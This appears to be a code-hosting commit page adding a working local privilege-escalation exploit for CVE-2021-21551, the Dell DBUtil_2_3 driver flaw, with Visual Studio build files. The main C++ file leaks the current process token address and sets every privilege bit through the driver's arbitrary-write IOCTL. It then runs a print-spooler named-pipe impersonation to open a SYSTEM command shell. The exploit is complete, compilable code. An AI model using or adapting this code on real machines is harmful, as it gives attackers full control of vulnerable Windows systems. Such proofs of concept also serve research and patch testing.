Projects STRLCPY CVE-2021-21551 Commits 586da5a9
🤬
Revision indexing in progress... (symbol navigation in revisions will be accurate after indexed)
  • ■ ■ ■ ■ ■ ■
    CVE-2021-21551.cpp
     1 +/*
     2 +SpoolPrinter Privesc using SeImpersonatePrivileges was made thanks to @_ForrestOrr https://github.com/forrest-orr/DoubleStar/tree/main/Payloads/Source/Stage3_SpoolPotato I basically just tossed the exploit function in his code and altered it ever so barely.
     3 +NtQuerySystemInformation was taken from @Void_Sec https://voidsec.com/exploiting-system-mechanic-driver/ almost blatantly - cannot take ANY credit for how I leaked the Token location.
     4 + 
     5 +All I did was merge the techniques to make a full privesc and toss in the "Fill in the blanks" from https://labs.sentinelone.com/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws/
     6 +Not much I can take credit for here! But in case you're wondering my twitter is @waldoirc
     7 +This is my first public exploit ever.
     8 + 
     9 +Will make a BoF, Reflective DLL, and use the Read Primitive to clean it up and make it less noisy by masking current privs ONLY by adding SeImpersonate and add more compatible versions of Windows, and use the read primitive to work in low integrity.
     10 + 
     11 +Tested on Windows Versions 1903, 1909, and 2004. Plans to make it work with more incoming. Any other Windows versions with same token offsets will also work. Need to do testing to see which versions of Windows these are.
     12 +*/
     13 + 
     14 +#define _CRT_SECURE_NO_WARNINGS
     15 +#include <Windows.h>
     16 +#include <strsafe.h>
     17 +#include <sddl.h>
     18 +#include <userenv.h>
     19 +#include <wtsapi32.h>
     20 +#include <stdint.h>
     21 +#include "IWinSpool_h.h"
     22 +#include <stdio.h>
     23 +#include <iostream>
     24 +#include <cstdint> // include this header for uint64_t
     25 + 
     26 +#pragma comment(lib, "Wtsapi32.lib")
     27 +#pragma comment(lib, "rpcrt4.lib")
     28 +#pragma comment(lib, "userenv.lib")
     29 +#pragma warning(disable: 28251)
     30 + 
     31 +#define EXE_BUILD
     32 +#define SHELLCODE_BUILD
     33 +#define COMMAND_LINE L"cmd.exe"
     34 +#define INTERACTIVE_PROCESS TRUE
     35 +#define SYNC_EVENT_NAME L"Global\\CVE-2021-21551"
     36 +#define SystemHandleInformation 0x10
     37 +#define SystemHandleInformationSize 1024 * 1024 * 2
     38 + 
     39 + 
     40 +struct ioctl_input_params {
     41 + uint64_t padding1;
     42 + uint64_t address;
     43 + uint64_t padding2;
     44 + uint64_t value_to_write;
     45 +};
     46 + 
     47 +using pNtQuerySystemInformation = NTSTATUS(WINAPI*)(
     48 + ULONG SystemInformationClass,
     49 + PVOID SystemInformation,
     50 + ULONG SystemInformationLength,
     51 + PULONG ReturnLength);
     52 + 
     53 +// define the SYSTEM_HANDLE_TABLE_ENTRY_INFO structure
     54 +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
     55 +{
     56 + USHORT UniqueProcessId;
     57 + USHORT CreatorBackTraceIndex;
     58 + UCHAR ObjectTypeIndex;
     59 + UCHAR HandleAttributes;
     60 + USHORT HandleValue;
     61 + PVOID Object;
     62 + ULONG GrantedAccess;
     63 +} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
     64 + 
     65 +// define the SYSTEM_HANDLE_INFORMATION structure
     66 +typedef struct _SYSTEM_HANDLE_INFORMATION
     67 +{
     68 + ULONG NumberOfHandles;
     69 + SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
     70 +} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
     71 + 
     72 +////////
     73 +////////
     74 +// Debug logic
     75 +////////
     76 + 
     77 +void DebugLog(const wchar_t* Format, ...) {
     78 + va_list Args;
     79 + static wchar_t* pBuffer = NULL;
     80 + 
     81 + if (pBuffer == NULL) {
     82 + pBuffer = (wchar_t*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 10000 * 2);
     83 + }
     84 + else {
     85 + ZeroMemory(pBuffer, 10000 * 2);
     86 + }
     87 + 
     88 + va_start(Args, Format);
     89 + wvsprintfW(pBuffer, Format, Args);
     90 + va_end(Args);
     91 + DWORD dwMsgAnswer = 0;
     92 + //WTSSendMessageW(WTS_CURRENT_SERVER_HANDLE, WTSGetActiveConsoleSessionId(), (wchar_t*)L"", 0, pBuffer, (wcslen(pBuffer) + 1) * 2, 0, 0, &dwMsgAnswer, TRUE);
     93 + printf("%ws\r\n", pBuffer);
     94 +}
     95 + 
     96 +////////
     97 +////////
     98 +// Privilege/token manipulation logic
     99 +////////
     100 + 
     101 +BOOL EnablePrivilege(const wchar_t *PrivilegeName) {
     102 + BOOL bResult = FALSE;
     103 + HANDLE hToken = INVALID_HANDLE_VALUE;
     104 + uint32_t dwTokenPrivilegesSize = 0;
     105 + PTOKEN_PRIVILEGES pTokenPrivileges = NULL;
     106 + 
     107 + // Obtain the primary token for the current process, query its privileges (LUIDs) and find the entry which matches the specified privilege name. Once it is found use its LUID to adjust the token privileges for the process token to enable the desired privilege
     108 +
     109 + if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) {
     110 + if (!GetTokenInformation(hToken, TokenPrivileges, NULL, dwTokenPrivilegesSize, (PDWORD)&dwTokenPrivilegesSize) && GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
     111 + pTokenPrivileges = (PTOKEN_PRIVILEGES)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwTokenPrivilegesSize);
     112 + 
     113 + if (GetTokenInformation(hToken, TokenPrivileges, pTokenPrivileges, dwTokenPrivilegesSize, (PDWORD)&dwTokenPrivilegesSize)) {
     114 + for (uint32_t dwX = 0; dwX < pTokenPrivileges->PrivilegeCount && !bResult; dwX++) {
     115 + LUID_AND_ATTRIBUTES LuidAttributes = pTokenPrivileges->Privileges[dwX];
     116 + uint32_t dwPrivilegeNameLength = 0;
     117 + 
     118 + if (!LookupPrivilegeNameW(NULL, &(LuidAttributes.Luid), NULL, (PDWORD)&dwPrivilegeNameLength) && GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
     119 + dwPrivilegeNameLength++; // Returned name length does not include NULL terminator
     120 + wchar_t *pCurrentPrivilegeName = (wchar_t *)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwPrivilegeNameLength * sizeof(WCHAR));
     121 + 
     122 + if (LookupPrivilegeNameW(NULL, &(LuidAttributes.Luid), pCurrentPrivilegeName, (PDWORD)&dwPrivilegeNameLength)) {
     123 + if (!_wcsicmp(pCurrentPrivilegeName, PrivilegeName)) {
     124 + TOKEN_PRIVILEGES TokenPrivs = { 0 };
     125 + TokenPrivs.PrivilegeCount = 1;
     126 + TokenPrivs.Privileges[0].Luid = LuidAttributes.Luid;
     127 + TokenPrivs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
     128 + 
     129 + if (AdjustTokenPrivileges(hToken, FALSE, &TokenPrivs, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {
     130 + bResult = TRUE;
     131 + }
     132 + }
     133 + 
     134 + HeapFree(GetProcessHeap(), 0, pCurrentPrivilegeName);
     135 + }
     136 + }
     137 + }
     138 + }
     139 + 
     140 + HeapFree(GetProcessHeap(), 0, pTokenPrivileges);
     141 + }
     142 + else {
     143 + DebugLog(L"... failed to query required token information length from primary process token.");
     144 + }
     145 + 
     146 + CloseHandle(hToken);
     147 + }
     148 + else {
     149 + DebugLog(L"... failed to open handle to primary token of the current process with query/modify permissions.");
     150 + }
     151 + 
     152 + return bResult;
     153 +}
     154 + 
     155 +////////
     156 +////////
     157 +// Spool named pipe manipulation logic
     158 +////////
     159 + 
     160 +BOOL CreateFakeSpoolPipe(HANDLE *phPipe, HANDLE *phEvent, wchar_t **ppSpoolPipeUuidStr) {
     161 + UUID Uuid = { 0 };
     162 + 
     163 + // Create the named pipe that the print spooler service will connect to over RPC. Setup an event associated with it for listener purposes.
     164 + 
     165 + if (UuidCreate(&Uuid) == RPC_S_OK) {
     166 + if (UuidToStringW(&Uuid, (RPC_WSTR*)ppSpoolPipeUuidStr) == RPC_S_OK && *ppSpoolPipeUuidStr != NULL) {
     167 + wchar_t FakePipeName[MAX_PATH + 1] = { 0 };
     168 + SECURITY_DESCRIPTOR Sd = { 0 };
     169 + SECURITY_ATTRIBUTES Sa = { 0 };
     170 + 
     171 + _snwprintf_s(FakePipeName, MAX_PATH, MAX_PATH, L"\\\\.\\pipe\\%ws\\pipe\\spoolss", *ppSpoolPipeUuidStr);
     172 + DebugLog(L"... generated fake spool pipe name of %ws", FakePipeName);
     173 + 
     174 + if (InitializeSecurityDescriptor(&Sd, SECURITY_DESCRIPTOR_REVISION)) {
     175 + if (ConvertStringSecurityDescriptorToSecurityDescriptorW(L"D:(A;OICI;GA;;;WD)", SDDL_REVISION_1, &((&Sa)->lpSecurityDescriptor), NULL)) {
     176 + if ((*phPipe = CreateNamedPipeW(FakePipeName, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 2048, 2048, 0, &Sa)) != NULL) { // FILE_FLAG_OVERLAPPED allows for the creation of an async pipe
     177 + OVERLAPPED Overlapped = { 0 };
     178 + 
     179 + *phEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
     180 + Overlapped.hEvent = *phEvent;
     181 + 
     182 + if (!ConnectNamedPipe(*phPipe, &Overlapped)) {
     183 + if (GetLastError() == ERROR_IO_PENDING) {
     184 + DebugLog(L"... named pipe connection successful");
     185 + return TRUE;
     186 + }
     187 + else {
     188 + DebugLog(L"... named pipe connection failed with invalid error code");
     189 + }
     190 + }
     191 + else {
     192 + DebugLog(L"... named pipe connection succeeded while it should have failed with ERROR_IO_PENDING");
     193 + }
     194 + }
     195 + }
     196 + }
     197 + }
     198 + }
     199 + 
     200 + return FALSE;
     201 +}
     202 + 
     203 +uint32_t TriggerPrintSpoolerRpc(wchar_t *pSpoolPipeUuidStr) {
     204 + wchar_t ComputerName[MAX_COMPUTERNAME_LENGTH + 1] = { 0 };
     205 + DWORD dwComputerNameLen = MAX_COMPUTERNAME_LENGTH + 1;
     206 + 
     207 + if (GetComputerNameW(ComputerName, &dwComputerNameLen)) {
     208 + wchar_t TargetServer[MAX_PATH + 1] = { 0 };
     209 + wchar_t CaptureServer[MAX_PATH + 1] = { 0 };
     210 + DEVMODE_CONTAINER DevmodeContainer = { 0 };
     211 + PRINTER_HANDLE hPrinter = NULL;
     212 + 
     213 + _snwprintf_s(TargetServer, MAX_PATH, MAX_PATH, L"\\\\%ws", ComputerName); // The target server will initiate the named pipe connection
     214 + _snwprintf_s(CaptureServer, MAX_PATH, MAX_PATH, L"\\\\%ws/pipe/%ws", ComputerName, pSpoolPipeUuidStr); // The capture server will receive the named pipe connection
     215 + 
     216 + RpcTryExcept {
     217 + if (RpcOpenPrinter(TargetServer, &hPrinter, NULL, &DevmodeContainer, 0) == RPC_S_OK) {
     218 + RpcRemoteFindFirstPrinterChangeNotificationEx(hPrinter, PRINTER_CHANGE_ADD_JOB, 0, CaptureServer, 0, NULL);
     219 + RpcClosePrinter(&hPrinter);
     220 + }
     221 + }
     222 + RpcExcept(EXCEPTION_EXECUTE_HANDLER);
     223 + {
     224 + // Expect RPC_S_SERVER_UNAVAILABLE
     225 + }
     226 + RpcEndExcept;
     227 + 
     228 + if (hPrinter != NULL) {
     229 + RpcClosePrinter(&hPrinter);
     230 + }
     231 + }
     232 + 
     233 + return 0;
     234 +}
     235 + 
     236 +BOOL LaunchImpersonatedProcess(HANDLE hPipe, const wchar_t *CommandLine, uint32_t dwSessionId, BOOL bInteractive) {
     237 + BOOL bResult = FALSE;
     238 + HANDLE hSystemToken = INVALID_HANDLE_VALUE;
     239 + HANDLE hSystemTokenDup = INVALID_HANDLE_VALUE;
     240 + 
     241 + // Impersonate the specified pipe, duplicate and then customize its token to fit the appropriate session ID and desktop, and launch a process in its context.
     242 + 
     243 + if (ImpersonateNamedPipeClient(hPipe)) {
     244 + DebugLog(L"... named pipe impersonation successful");
     245 + 
     246 + if (OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hSystemToken)) {
     247 + if (DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hSystemTokenDup)) {
     248 + wchar_t CurrentDirectory[MAX_PATH + 1] = { 0 };
     249 + uint32_t dwCreationFlags = 0;
     250 + void *pEnvironment = NULL;
     251 + PROCESS_INFORMATION ProcInfo = { 0 };
     252 + STARTUPINFOW StartupInfo = { 0 };
     253 + wchar_t CommandLineBuf[500] = { 0 };
     254 + 
     255 + if (dwSessionId) {
     256 + if (!SetTokenInformation(hSystemTokenDup, TokenSessionId, &dwSessionId, sizeof(uint32_t))) {
     257 + DebugLog(L"... non-zero session ID specified but token session ID modification failed");
     258 + return FALSE;
     259 + }
     260 + }
     261 + 
     262 + dwCreationFlags = CREATE_UNICODE_ENVIRONMENT;
     263 + dwCreationFlags |= bInteractive ? 0 : CREATE_NEW_CONSOLE;
     264 + 
     265 + if (GetSystemDirectoryW(CurrentDirectory, MAX_PATH)) {
     266 + if (CreateEnvironmentBlock(&pEnvironment, hSystemTokenDup, FALSE)) {
     267 + StartupInfo.cb = sizeof(STARTUPINFOW);
     268 + StartupInfo.lpDesktop = (LPWSTR)L"WinSta0\\Default";
     269 + 
     270 + wcscpy_s(CommandLineBuf, 500, CommandLine);
     271 + 
     272 + if (!CreateProcessAsUserW(hSystemTokenDup, NULL, CommandLineBuf, NULL, NULL, bInteractive, dwCreationFlags, pEnvironment, CurrentDirectory, &StartupInfo, &ProcInfo)) {
     273 + if (GetLastError() == ERROR_PRIVILEGE_NOT_HELD) {
     274 + DebugLog(L"... CreateProcessAsUser() failed because of a missing privilege, retrying with CreateProcessWithTokenW()...");
     275 + RevertToSelf();
     276 + 
     277 + if (!bInteractive) {
     278 + wcscpy_s(CommandLineBuf, 500, CommandLine);
     279 + 
     280 + if (!CreateProcessWithTokenW(hSystemTokenDup, LOGON_WITH_PROFILE, NULL, CommandLineBuf, dwCreationFlags, pEnvironment, CurrentDirectory, &StartupInfo, &ProcInfo)) {
     281 + DebugLog(L"... CreateProcessWithTokenW() failed. Error: %d", GetLastError());
     282 + }
     283 + else {
     284 + DebugLog(L"... CreateProcessWithTokenW() successfully executed %ws", CommandLine);
     285 + bResult = TRUE;
     286 + }
     287 + }
     288 + else {
     289 + DebugLog(L"... CreateProcessWithTokenW() isn't compatible with non-zero session ID");
     290 + }
     291 + }
     292 + else {
     293 + DebugLog(L"... CreateProcessAsUser() failed. Error: %d", GetLastError());
     294 + }
     295 + }
     296 + else {
     297 + DebugLog(L"... CreateProcessAsUser() successfully executed command line %ws", CommandLine);
     298 + bResult = TRUE;
     299 + }
     300 + 
     301 + if (bResult) {
     302 + if (bInteractive) {
     303 + fflush(stdout);
     304 + WaitForSingleObject(ProcInfo.hProcess, INFINITE);
     305 + }
     306 + 
     307 + CloseHandle(ProcInfo.hProcess);
     308 + CloseHandle(ProcInfo.hThread);
     309 + }
     310 + 
     311 + DestroyEnvironmentBlock(pEnvironment);
     312 + }
     313 + }
     314 + 
     315 + CloseHandle(hSystemTokenDup);
     316 + }
     317 + 
     318 + CloseHandle(hSystemToken);
     319 + }
     320 + }
     321 + else {
     322 + DebugLog(L"... named pipe impersonation failed");
     323 + }
     324 + 
     325 + return bResult;
     326 +}
     327 + 
     328 +BOOL SpoolPotato() {
     329 + /*
     330 + SpoolPotato/WPAD client synchronization
     331 + 
     332 + Oftentimes the WPAD client will be unsuccessful when attempting to trigger the PAC download from
     333 + the WPAD service (the service will return error 12167). This issue is sporadic, and multiple attempts
     334 + often yield a successful status from WPAD.
     335 + 
     336 + To solve any potential issues which may arise in the WPAD client, the WPAD client must continue to
     337 + attempt to trigger the PAC download until it receives confirmation via an event object from within
     338 + the WPAD service itself: specifically from within a SpoolPotato shellcode executed as a result of
     339 + the CVE-2020-0674 UAF.
     340 + 
     341 + The WPAD client initially:
     342 + 1. Creates a sync event object in \BaseNamedObjects and then proceeds to repeatedly make RPC calls to
     343 + WPAD in a loop.
     344 + 2. Between each iteration of the loop it spends several seconds waiting for the signal event it
     345 + previously created to be signalled by SpoolPotato.
     346 + 3. Once the event has been triggered the WPAD client ends its loop and terminates.
     347 + 
     348 + Meanwhile the SpoolPotato shellcode:
     349 + 1. Signals the event object to signal completion to the WPAD client.
     350 + 2. Makes its privilege escalation operations.
     351 + */
     352 + 
     353 + HANDLE hEvent;
     354 + 
     355 + DebugLog(L"... syncing event object with WPAD client...");
     356 + 
     357 + if ((hEvent = OpenEventW(EVENT_MODIFY_STATE | SYNCHRONIZE, FALSE, SYNC_EVENT_NAME)) != NULL) {
     358 + SetEvent(hEvent);
     359 + CloseHandle(hEvent);
     360 + DebugLog(L"... successfully synced WPAD client via event object");
     361 + }
     362 + else {
     363 + DebugLog(L"... failed to open handle to event object (error %d)", GetLastError());
     364 + }
     365 + 
     366 + if(EnablePrivilege(SE_IMPERSONATE_NAME)) {
     367 + wchar_t* pSpoolPipeUuidStr = NULL;
     368 + HANDLE hSpoolPipe = INVALID_HANDLE_VALUE;
     369 + HANDLE hSpoolPipeEvent = INVALID_HANDLE_VALUE;
     370 + HANDLE hSpoolTriggerThread = INVALID_HANDLE_VALUE;
     371 + uint32_t dwWaitError = 0;
     372 + 
     373 + DebugLog(L"... successfully obtained %ws privilege", SE_IMPERSONATE_NAME);
     374 + 
     375 + if (CreateFakeSpoolPipe(&hSpoolPipe, &hSpoolPipeEvent, &pSpoolPipeUuidStr)) {
     376 + DebugLog(L"... named pipe creation and connection successful. Listening...");
     377 + CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)TriggerPrintSpoolerRpc, pSpoolPipeUuidStr, 0, NULL);
     378 + dwWaitError = WaitForSingleObject(hSpoolPipeEvent, 5000);
     379 + 
     380 + if (dwWaitError == WAIT_OBJECT_0) {
     381 + DebugLog(L"... recieved connection over named pipe");
     382 + 
     383 + if (LaunchImpersonatedProcess(hSpoolPipe, COMMAND_LINE, WTSGetActiveConsoleSessionId(), INTERACTIVE_PROCESS)) {
     384 + DebugLog(L"... successfully launched process while impersonating RPC client.");
     385 + }
     386 + else {
     387 + DebugLog(L"... failed to launch process while impersonating RPC client");
     388 + }
     389 + }
     390 + else {
     391 + DebugLog(L"... named pipe listener failed with wait error %d", dwWaitError);
     392 + }
     393 + 
     394 + CloseHandle(hSpoolPipe);
     395 + CloseHandle(hSpoolPipeEvent);
     396 + }
     397 + else {
     398 + DebugLog(L"... named pipe creation and connection failed");
     399 + }
     400 + }
     401 + else {
     402 + DebugLog(L"... failed to obtain %ws privilege", SE_IMPERSONATE_NAME);
     403 + }
     404 + 
     405 + return 0;
     406 +}
     407 + 
     408 + 
     409 +__declspec(dllexport) void exploit() {
     410 + 
     411 + //Start by getting the location of our token
     412 + DWORD bytesReturned = 0;
     413 + 
     414 + pNtQuerySystemInformation NtQuerySystemInformation = (pNtQuerySystemInformation)::GetProcAddress(::LoadLibraryW(L"ntdll"), "NtQuerySystemInformation");
     415 + 
     416 + HANDLE curPr = ::GetCurrentProcess();
     417 + HANDLE curTo = NULL;
     418 + bool success = ::OpenProcessToken(curPr, TOKEN_ALL_ACCESS, &curTo);
     419 + 
     420 + PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(::GetProcessHeap(), HEAP_ZERO_MEMORY, SystemHandleInformationSize);
     421 + 
     422 + ULONG returnLength = 0;
     423 + NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, &returnLength);
     424 + 
     425 + uint64_t tokenAddress = 0;
     426 + // iterate over the system's handle table and look for the handles beloging to our process
     427 + for (int i = 0; i < handleTableInformation->NumberOfHandles; i++)
     428 + {
     429 + SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i];
     430 + // if it finds our process and the handle matches the current token handle we already opened, print it
     431 + if (handleInfo.UniqueProcessId == ::GetCurrentProcessId() && handleInfo.HandleValue == (USHORT)curTo)
     432 + {
     433 + tokenAddress = (uint64_t)handleInfo.Object;
     434 + std::cout << "[+] Token is at: 0x" << std::hex << tokenAddress << std::endl;
     435 + }
     436 + }
     437 + 
     438 + //Open Driver Handle
     439 + HANDLE hDevice = CreateFile(L"\\\\.\\DBUtil_2_3",
     440 + GENERIC_READ | GENERIC_WRITE,
     441 + 0,
     442 + NULL,
     443 + CREATE_ALWAYS,
     444 + FILE_ATTRIBUTE_NORMAL,
     445 + NULL);
     446 + 
     447 + //Overwrite the Enabled and Present values in SEP_TOKEN_PRIVILEGES
     448 + static constexpr uint64_t MASK_TO_WRITE = 0xffffffffffffffff;
     449 + uint64_t tokenPrivileges = tokenAddress + 0x41;
     450 + 
     451 + std::cout << "[+] Overwriting PRESENT token mask..." << std::endl;
     452 + ioctl_input_params privilege_present_params{ 0 };
     453 + privilege_present_params.address = tokenPrivileges;
     454 + privilege_present_params.value_to_write = MASK_TO_WRITE;
     455 + 
     456 + DeviceIoControl(hDevice, 0x9B0C1EC8, &privilege_present_params, sizeof(privilege_present_params), &privilege_present_params, sizeof(privilege_present_params), &bytesReturned, NULL);
     457 + 
     458 + std::cout << "[+] Overwriting ENABLED token mask..." << std::endl;
     459 + ioctl_input_params privilege_enabled_params{ 0 };
     460 + privilege_enabled_params.address = tokenPrivileges + 0x08;
     461 + privilege_enabled_params.value_to_write = MASK_TO_WRITE;
     462 + 
     463 + DeviceIoControl(hDevice, 0x9B0C1EC8, &privilege_enabled_params, sizeof(privilege_enabled_params), &privilege_enabled_params, sizeof(privilege_enabled_params), &bytesReturned, NULL);
     464 +}
     465 + 
     466 +void main() {
     467 + std::cout << "[+] Setting token privs using write primitive first..." << std::endl;
     468 + exploit();
     469 + std::cout << "[+] Running Spool Potato to get SYSTEM..." << std::endl;
     470 + SpoolPotato();
     471 +}
     472 + 
  • ■ ■ ■ ■ ■ ■
    CVE-2021-21551.sln
     1 +
     2 +Microsoft Visual Studio Solution File, Format Version 12.00
     3 +# Visual Studio Version 16
     4 +VisualStudioVersion = 16.0.30711.63
     5 +MinimumVisualStudioVersion = 10.0.40219.1
     6 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2021-21551", "CVE-2021-21551.vcxproj", "{68FC65BA-B694-4A08-8D9D-211531D0AA07}"
     7 +EndProject
     8 +Global
     9 + GlobalSection(SolutionConfigurationPlatforms) = preSolution
     10 + Debug|x64 = Debug|x64
     11 + Debug|x86 = Debug|x86
     12 + Release|x64 = Release|x64
     13 + Release|x86 = Release|x86
     14 + EndGlobalSection
     15 + GlobalSection(ProjectConfigurationPlatforms) = postSolution
     16 + {68FC65BA-B694-4A08-8D9D-211531D0AA07}.Debug|x64.ActiveCfg = Debug|x64
     17 + {68FC65BA-B694-4A08-8D9D-211531D0AA07}.Debug|x64.Build.0 = Debug|x64
     18 + {68FC65BA-B694-4A08-8D9D-211531D0AA07}.Debug|x86.ActiveCfg = Debug|Win32
     19 + {68FC65BA-B694-4A08-8D9D-211531D0AA07}.Debug|x86.Build.0 = Debug|Win32
     20 + {68FC65BA-B694-4A08-8D9D-211531D0AA07}.Release|x64.ActiveCfg = Release|x64
     21 + {68FC65BA-B694-4A08-8D9D-211531D0AA07}.Release|x64.Build.0 = Release|x64
     22 + {68FC65BA-B694-4A08-8D9D-211531D0AA07}.Release|x86.ActiveCfg = Release|Win32
     23 + {68FC65BA-B694-4A08-8D9D-211531D0AA07}.Release|x86.Build.0 = Release|Win32
     24 + EndGlobalSection
     25 + GlobalSection(SolutionProperties) = preSolution
     26 + HideSolutionNode = FALSE
     27 + EndGlobalSection
     28 + GlobalSection(ExtensibilityGlobals) = postSolution
     29 + SolutionGuid = {D17BAEA7-AE73-4453-97DB-79C22967FABE}
     30 + EndGlobalSection
     31 +EndGlobal
     32 + 
  • ■ ■ ■ ■ ■ ■
    CVE-2021-21551.vcxproj
     1 +<?xml version="1.0" encoding="utf-8"?>
     2 +<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
     3 + <ItemGroup Label="ProjectConfigurations">
     4 + <ProjectConfiguration Include="Debug|Win32">
     5 + <Configuration>Debug</Configuration>
     6 + <Platform>Win32</Platform>
     7 + </ProjectConfiguration>
     8 + <ProjectConfiguration Include="Release|Win32">
     9 + <Configuration>Release</Configuration>
     10 + <Platform>Win32</Platform>
     11 + </ProjectConfiguration>
     12 + <ProjectConfiguration Include="Debug|x64">
     13 + <Configuration>Debug</Configuration>
     14 + <Platform>x64</Platform>
     15 + </ProjectConfiguration>
     16 + <ProjectConfiguration Include="Release|x64">
     17 + <Configuration>Release</Configuration>
     18 + <Platform>x64</Platform>
     19 + </ProjectConfiguration>
     20 + </ItemGroup>
     21 + <PropertyGroup Label="Globals">
     22 + <VCProjectVersion>16.0</VCProjectVersion>
     23 + <Keyword>Win32Proj</Keyword>
     24 + <ProjectGuid>{68fc65ba-b694-4a08-8d9d-211531d0aa07}</ProjectGuid>
     25 + <RootNamespace>CVE-2021-21551</RootNamespace>
     26 + <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
     27 + </PropertyGroup>
     28 + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
     29 + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
     30 + <ConfigurationType>Application</ConfigurationType>
     31 + <UseDebugLibraries>true</UseDebugLibraries>
     32 + <PlatformToolset>v142</PlatformToolset>
     33 + <CharacterSet>Unicode</CharacterSet>
     34 + </PropertyGroup>
     35 + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
     36 + <ConfigurationType>Application</ConfigurationType>
     37 + <UseDebugLibraries>false</UseDebugLibraries>
     38 + <PlatformToolset>v142</PlatformToolset>
     39 + <WholeProgramOptimization>true</WholeProgramOptimization>
     40 + <CharacterSet>Unicode</CharacterSet>
     41 + </PropertyGroup>
     42 + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
     43 + <ConfigurationType>Application</ConfigurationType>
     44 + <UseDebugLibraries>true</UseDebugLibraries>
     45 + <PlatformToolset>v142</PlatformToolset>
     46 + <CharacterSet>Unicode</CharacterSet>
     47 + </PropertyGroup>
     48 + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
     49 + <ConfigurationType>Application</ConfigurationType>
     50 + <UseDebugLibraries>false</UseDebugLibraries>
     51 + <PlatformToolset>v142</PlatformToolset>
     52 + <WholeProgramOptimization>true</WholeProgramOptimization>
     53 + <CharacterSet>Unicode</CharacterSet>
     54 + </PropertyGroup>
     55 + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
     56 + <ImportGroup Label="ExtensionSettings">
     57 + </ImportGroup>
     58 + <ImportGroup Label="Shared">
     59 + </ImportGroup>
     60 + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
     61 + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
     62 + </ImportGroup>
     63 + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
     64 + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
     65 + </ImportGroup>
     66 + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
     67 + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
     68 + </ImportGroup>
     69 + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
     70 + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
     71 + </ImportGroup>
     72 + <PropertyGroup Label="UserMacros" />
     73 + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
     74 + <LinkIncremental>true</LinkIncremental>
     75 + </PropertyGroup>
     76 + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
     77 + <LinkIncremental>false</LinkIncremental>
     78 + </PropertyGroup>
     79 + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
     80 + <LinkIncremental>true</LinkIncremental>
     81 + </PropertyGroup>
     82 + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
     83 + <LinkIncremental>false</LinkIncremental>
     84 + <TargetName>$(ProjectName)x64</TargetName>
     85 + </PropertyGroup>
     86 + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
     87 + <ClCompile>
     88 + <WarningLevel>Level3</WarningLevel>
     89 + <SDLCheck>true</SDLCheck>
     90 + <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
     91 + <ConformanceMode>true</ConformanceMode>
     92 + </ClCompile>
     93 + <Link>
     94 + <SubSystem>Console</SubSystem>
     95 + <GenerateDebugInformation>true</GenerateDebugInformation>
     96 + </Link>
     97 + </ItemDefinitionGroup>
